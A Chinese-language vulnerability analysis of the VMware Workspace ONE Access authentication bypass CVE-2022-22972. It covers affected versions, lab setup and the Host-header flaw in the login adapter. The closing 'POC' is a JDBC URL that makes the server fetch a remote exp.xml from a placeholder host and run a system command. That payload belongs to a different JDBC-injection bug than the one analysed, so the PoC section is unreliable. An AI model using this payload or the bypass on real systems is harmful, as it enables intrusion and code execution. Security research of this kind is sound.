漏洞描述
5 月 18 日,VMware 發(fā)布了一份公告 ( VMSA-2022-0014 ),以解決多個(gè) VMware 產(chǎn)品中的兩個(gè)漏洞,其中包括CVE-2022-22972,該漏洞在身份認(rèn)證處理時(shí)存在一定缺陷。遠(yuǎn)程攻擊者可通過偽造相關(guān)請求信息來繞過身份驗(yàn)證,從而獲取相關(guān)應(yīng)用程序的管理權(quán)限。

相關(guān)介紹
VMware是一家提供全球桌面到數(shù)據(jù)中心虛擬化解決方案的廠商,其推出的產(chǎn)品包括我們最熟悉的VMware Workstation,一款桌面虛擬計(jì)算軟件。此次漏洞涉及的多個(gè)產(chǎn)品介紹如下:
VMware Workspace ONE Access 是 VMware 公司開發(fā)的一款智能驅(qū)動型數(shù)字化工作空間平臺,通過 Workspace ONE Access 能夠隨時(shí)隨地在任意設(shè)備上輕松、安全地交付和管理任意應(yīng)用。VMware vRealize Automation 是自動化部署方案云管平臺。VMware Cloud Foundation 是 VMware公司混合云平臺。vRealize Suite Lifecycle Manager 是 vRealize Suite 生命周期和內(nèi)容管理平臺。
利用范圍
VMware Workspace ONE Access 21.08.0.1, 21.08.0.0,20.10.0.1, 20.10.0.0
VMware Identity Manager(vIDM) 3.3.6, 3.3.5, 3.3.4, 3.3.3
VMware vRealize Automation(vIDM) 7.6
VMware Cloud Foundation (vIDM) 4.4, 4.3.x, 4.2.x, 4.1, 4.0.x
VMware Cloud Foundation (vRA) 3.x
vRealize Suite Lifecycle Manager(vIDM) 8.x
漏洞分析
簡單回顧下CVE-2022-22954(VMware Workspace ONE Access SSTI漏洞),屬于模板注入漏洞,惡意攻擊者可以利用此漏洞在未經(jīng)過身份驗(yàn)證的情況下進(jìn)行遠(yuǎn)程任意代碼執(zhí)行;CVE-2022-22957(VMware Workspace ONE Access JDBC注入漏洞),由于相關(guān)參數(shù)完全可控,惡意攻擊者可實(shí)行JDBC注入,通過寫入任意文件等方式獲取系統(tǒng)權(quán)限。此次的CVE-2022-22972,同樣選擇VMware Workspace ONE Access漏洞版本來進(jìn)行分析,并詳細(xì)記錄環(huán)境搭建和漏洞分析復(fù)現(xiàn)過程。
環(huán)境搭建
先從官網(wǎng)(http://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269)下載VMware Workspace ONE Access 21.08.0.1 OVA文件

使用VMware Workstation導(dǎo)入OVA文件,配置FQDN(主機(jī)名設(shè)置為隨機(jī)域名,不然后續(xù)配置數(shù)據(jù)庫時(shí)會報(bào)錯)。

導(dǎo)入成功后會進(jìn)行初始化,完成后出現(xiàn)如下信息。

訪問http://<域名:8443>,根據(jù)提示進(jìn)行賬號和數(shù)據(jù)庫配置。

訪問http://<域名:8443>,根據(jù)提示進(jìn)行賬號和數(shù)據(jù)庫配置。

為搭建動態(tài)調(diào)試環(huán)境,需將相關(guān)源碼保存到本地,并使用IDEA開啟遠(yuǎn)程調(diào)試。
需要的lib文件位于/usr/local/horizon/lib/embeddedauthadapters目錄下。

IDEA配置遠(yuǎn)程調(diào)試。

將遠(yuǎn)程調(diào)試命令寫入/opt/vmware/horizon/workspace/bin/setenv.sh。

重啟服務(wù)之后,配置iptables防火墻,允許數(shù)據(jù)包通過INPUT鏈和OUTPUT鏈。

最后訪問http://<域名>,到登陸頁面,環(huán)境搭建成功。

動態(tài)分析
抓取登陸數(shù)據(jù)包,修改Host頭為tessdadddd后進(jìn)行重放。

回到vmware中,查看/opt/vmware/horizon/workspace/logs/horizon.log
在日志中發(fā)現(xiàn),vm對任意輸入的host頭,發(fā)送了HTTP請求,并且因?yàn)闊o法解析而拋出異常。

同時(shí),根據(jù)日志信息中整個(gè)認(rèn)證的調(diào)用棧,我們將分析的開端定位在local-password-auth-adapter-0.1.jar中。
分析com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login函數(shù)。

在獲取到賬號密碼等信息之后,通過getLocalUrl函數(shù)來提取參數(shù)endpoint。
跟進(jìn)com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl函數(shù)。

在getLocalUrl函數(shù)中,會構(gòu)造出一個(gè)新的http請求,其中的主機(jī)地址則是通過request.getServerName從HOST頭中直接獲取。因此這也為我們繞過認(rèn)證偽造主機(jī)地址創(chuàng)造了條件。
繼續(xù)跟進(jìn)將回到com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login。
此時(shí)的endpoint即為新構(gòu)造的http請求,主機(jī)名則為我們?nèi)我廨斎氲膖essdadddd。

后續(xù),則會調(diào)用authenticate函數(shù)來完成認(rèn)證。
在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以發(fā)現(xiàn)。

后續(xù),則會調(diào)用authenticate函數(shù)來完成認(rèn)證。
在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以發(fā)現(xiàn)。

通過之前的http請求,使用POST方式發(fā)送,后續(xù)會直接根據(jù)請求返回的狀態(tài)碼來判斷是否認(rèn)證成功,若狀態(tài)碼為200,即認(rèn)證成功。因此可通過偽造HOST頭和偽造http服務(wù)器并保證對任何請求返回狀態(tài)200,即可實(shí)現(xiàn)認(rèn)證繞過。
漏洞復(fù)現(xiàn)
偽造http服務(wù)器,滿足對任意請求都返回200。

修改HOST為偽造的http服務(wù)器地址,成功繞過認(rèn)證并獲取有效cookie。

POC
jdbc:postgresql://xxx.xxx.com/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxx/exp.xml
exp.xml
<beans xmlns=”http://www.springframework.org/schema/beans” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd”>
<bean id=”pb” class=”java.lang.ProcessBuilder” init-method=”start”>
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>whoami</value>
</list>
</constructor-arg>
</bean>
</beans>